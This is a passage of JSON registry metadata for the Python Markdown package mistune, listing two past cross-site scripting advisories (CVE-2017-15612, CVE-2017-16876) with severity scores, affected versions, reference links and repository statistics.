functions.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-17T00:26:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2017-15612","https://github.com/lepture/mistune/pull/140","https://github.com/advisories/GHSA-hpv5-v8g5-c864","https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2017-80.yaml","https://github.com/lepture/mistune/commit/d6f0b6402299bf5a380e7b4e77bd80e8736630fe"],"source_kind":"github","identifiers":["GHSA-hpv5-v8g5-c864","CVE-2017-15612"],"repository_url":"https://github.com/lepture/mistune","blast_radius":0.0,"created_at":"2022-12-21T16:11:59.786Z","updated_at":"2026-11-05T13:14:05.241Z","epss_percentage":0.00931,"epss_percentile":0.60539,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocHY1LXY4ZzUtYzg2NM4AAYPc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocHY1LXY4ZzUtYzg2NM4AAYPc","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"0.8","vulnerable_version_range":"\u003e= 0, \u003c 0.8"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocHY1LXY4ZzUtYzg2NM4AAYPc/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk4Z2otd3d4bS1jajNo","url":"https://github.com/advisories/GHSA-98gj-wwxm-cj3h","title":"mistune Cross-site scripting (XSS) vulnerability","description":"Cross-site scripting (XSS) vulnerability in the _keyify function in mistune.py in Mistune before 0.8.1 allows remote attackers to inject arbitrary web script or HTML by leveraging failure to escape the \"key\" argument.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2019-01-04T17:47:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2017-16876","https://github.com/lepture/mistune/commit/5f06d724bc05580e7f203db2d4a4905fc1127f98","https://bugzilla.redhat.com/show_bug.cgi?id=1524596","https://github.com/lepture/mistune/blob/master/CHANGES.rst","https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2017-18.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NUR3GMHQBMA3UC4PFMCK6GCLOQC4LQQC","https://github.com/advisories/GHSA-98gj-wwxm-cj3h"],"source_kind":"github","identifiers":["GHSA-98gj-wwxm-cj3h","CVE-2017-16876"],"repository_url":"https://github.com/lepture/mistune","blast_radius":24.520359802643725,"created_at":"2022-12-21T16:13:32.113Z","updated_at":"2026-11-05T13:14:27.793Z","epss_percentage":0.02235,"epss_percentile":0.8264,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk4Z2otd3d4bS1jajNo","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk4Z2otd3d4bS1jajNo","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"0.8.1","vulnerable_version_range":"\u003c 0.8.1"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk4Z2otd3d4bS1jajNo/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/mistune","docker_dependents_count":4778,"docker_downloads_count":862845207,"usage_url":"https://repos.ecosyste.ms/usage/pypi/mistune","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/mistune/dependencies","status":null,"funding_links":["https://github.com/sponsors/lepture","https://patreon.com/lepture","https://tidelift.com/funding/github/pypi/mistune","https://lepture.com/donate"],"critical":true,"issue_metadata":{"last_synced_at":"2026-11-16T01:24:46.129Z","issues_count":140,"pull_requests_count":156,"avg_time_to_close_issue":21748518.447916668,"avg_time_to_close_pull_request":4351267.830357143,"issues_closed_count":96,"pull_requests_closed_count":112,"pull_request_authors_count":112,"issue_authors_count":108,"avg_comments_per_issue":2.0714285714285716,"avg_comments_per_pull_request":1.3782051282051282,"merged_pull_requests_count":87,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":16,"past_year_pull_requests_count":99,"past_year_avg_time_to_close_issue":3361308.4,"past_year_avg_time_to_close_pull_request":1372623.3442622952,"past_year_issues_closed_count":5,"past_year_pull_requests_closed_count":61,"past_year_pull_request_authors_count":74,"past_year_issue_authors_count":11,"past_year_avg_comments_per_issue":0.4375,"past_year_avg_comments_per_pull_request":1.3939393939393938,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":50,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/lepture%2Fmistune/issues","maintainers":[{"login":"lepture","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/lepture"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/mistune/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/mistune/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/mistune/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/mistune/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/mistune/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/mistune/codemeta","maintainers":[{"uuid":"lepture","login":"lepture","name":null,"email":null,"url":null,"packages_count":42,"html_url":"https://pypi.org/user/lepture/","role":null,"created_at":"2022-12-05T17:51:40.390Z","updated_at":"2022-12-05T17:51:40.390Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/lepture/packages"}]}